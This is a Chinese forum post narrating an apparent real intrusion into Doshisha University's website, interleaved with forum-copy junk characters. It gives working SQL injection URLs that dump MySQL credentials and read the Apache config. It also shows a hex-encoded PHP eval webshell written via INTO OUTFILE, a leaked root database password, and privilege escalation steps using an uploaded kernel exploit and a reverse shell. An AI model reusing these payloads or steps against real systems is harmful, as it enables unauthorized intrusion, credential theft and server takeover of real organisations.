入侵日本同志社大学技术分析4 ^) Z% }0 q5 A* [# ]
) r5 [# c) G. nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1( x- U% O& u9 N4 d5 U& w+ a
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
6 y9 w$ ~ I4 P" Z+ h
+ z* e) |9 Z! M; |8 r+ z, ?2 Rhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% l4 F8 m' z+ \7 g2 K5 ?
" g* x2 i9 ?' H: E
, P7 l1 u) X) E. C0 j. r6 I$ A+ D6 [# |" `2 e" y
//@@datadir为数据库文件路径
" Z5 b- o# o4 ^! ?7 Y6 i # B2 w4 [" ?4 V8 Y8 h% {. Y1 P
8 Y" w) `8 T- w( h! t//load_file读取网站容器apache的配置文件 3 a& T' t0 q2 C0 |
8 ^% C& {8 O( J1 P7 u! O& r9 i% A6 g8 j4 o
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
) u& f$ h6 t0 `- \: d复制代码
" M2 a( b- `) i- [% @8 D; g) [
0 Q( _! m. i$ L9 ^9 t Y/ I& m& Q虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。! X9 O* G) N$ [$ \0 D. }
y6 X9 ?- [* X- k$ E- @
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。# O: l- U1 J" U5 W9 Q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
3 e0 a5 }6 a& ]" ~8 G. I1 H( o2 ?. o5 D* Q" t ?) Z
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
0 A4 W- L) \* @/ }& @( k7 @" z' i" s" d4 m如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* W; e8 o1 @$ H
2 H- ^+ t8 V" L( y" v$ o: f! E
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/* j+ a1 C. U& R# B" ?! B3 |
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
1 X; O5 S+ G0 W, a q直接写一句话:
; o5 K8 D0 f, a
0 I0 a7 Q# b( I/ v X5 j( P4 Phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#1 Y) P+ ?+ M/ G0 j7 j3 ]$ ^
! B' q* a: o# h1 T
# }1 G' [4 s- e" N' ]* p3 D
5 U' Z, N2 ^! k4 Q0 h
//最后的#是为了闭合前面的语句 0 o6 L9 L9 _# T c; O& H
! |/ U; |) Z' o: @( Y- P4 A5 R% [: V, y. C, [
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
( T2 \: Q( S: \* F; c8 S' p
5 [: T- O4 y3 r3 \" K/ Z: D" D0 e7 ?7 N/ I
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 i5 t+ Q# [ r- O0 m" P( U
3 Y0 ?6 Q5 g, x( z0 t3 l- Y' ~0 n0 h# B, f6 c
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
- Y; ]+ L, N7 p# L % r' z" s) [6 ~2 h1 J- }
) o* U, V; l' y. x+ V! Y o# k
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 . K* }( N- ~9 ]5 C7 E1 l7 m( ^
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 y j* }8 ~& ]0 D* y% v复制代码
4 D/ q7 ~% X- P% p0 k6 O* K; g, q3 k# x! G
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
; c. Z7 f. @& |& j! G$ V! D通过上述注入语句,我们就得到了一句话木马:4 `! g, C+ ?) @
1 a. d' T1 b$ e
* U; y: P/ g; G2 v/ _$ A7 u$ \# q/ Z7 B u5 |0 r0 n' U8 F/ o' |" o
v' u' o7 S5 q0 s c
5 c C5 B: p" v) w- Q( @8 b- c% Ohttp://www.doshisha.ac.jp/english/engnews_img/aa.php 6 a G2 D8 b m; j/ \! f
复制代码
7 i% I- P. I/ g
1 v8 y/ A) ~' j6 N用菜刀连接,密码是cmd,如图所示:9 p: q4 h0 b8 G, V" c! U$ x! }
然后在命令提示行里看了一下,现在的权限是:9 h( k( L2 {4 O
( J% N7 g& ]* W7 F* g# H+ p' D
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。5 Z: n4 n. ~+ l+ B5 ~, {! E% }
好在赋权给这个文件夹不需要root,直接执行赋权语句:
0 S3 s e- x( B2 s3 t3 u- O6 P, d3 e5 b& p( S1 n" K
( l2 ~$ o& a- G7 Z6 @
( x" A/ R6 N$ Z ; p1 A) x& S2 _% L$ w
( L1 k2 C* y( V2 R) W
chmod +x /tmp/ , r5 M9 Y. [9 v+ s, M' y
复制代码
. v y5 m* [8 Y9 V5 O H U, {+ O: ]
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行6 e0 }; D( Q3 ~# z
然后就查了一下内核版本:
) N8 k( |4 p: G/ K6 q9 V R# A
9 U9 w# a$ V- v1 i9 C" D( E 1 S' m3 w% Z9 k9 L
) T6 X/ X; W8 y* {/ M+ f; ^5 {
6 Y* \+ q* e' h
: {. b9 l1 L. w, Y" ~& xuname-a : P' F" B6 l; Y5 Q6 J
" q0 y! @3 E" ] k. t. x& ]$ a- j3 z5 R. _
//其实lsb_release -a 0 ?" d2 H( A! k5 y9 r
复制代码
# B7 L2 ^& q% I' H. W ^) d
+ F5 w4 n4 q/ d' u: Y; X如图所示:( ?, M! r* S0 W3 A$ G
& U/ Q7 B5 ?( j% k/ P7 X5 l) i
内核版本:linux mainz1 2.6.28-194.e15
. w6 f7 [+ h) D; D( v8 G6 z系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ ~# X% P1 P" V查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
# a9 y% w# G/ K% B; C* b+ i: P2 Q' N! D' q: b6 a% Z; Z- E
然后给予执行权限
( W! Y8 P1 |% g5 \3 F7 k6 `一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
+ }. |0 N. x* N* f8 ~
6 o0 ~" \; g( N; s5 S
; K/ {& A6 f1 s! \0 |2 s+ m: T8 M0 ]" a' j9 E8 W* q2 E7 C. b
) W$ p2 t; ]" ]( _9 b
! ^7 z5 ?" g; i& ^
chmod +x /tmp/2.6.18-194 / c; ~2 \3 S, n0 _3 @
复制代码 然后直接执行!~
8 T5 J) [1 @: D5 Z7 v, l8 j! O7 z; L- Y
总结:/ I$ _, N1 x- c" i
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了" L$ d% a; I' {3 [. T2 Y- @; k
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root. O' |. W1 x( ^( `
, L' u* f8 [3 x; k4 v/ o1 J
|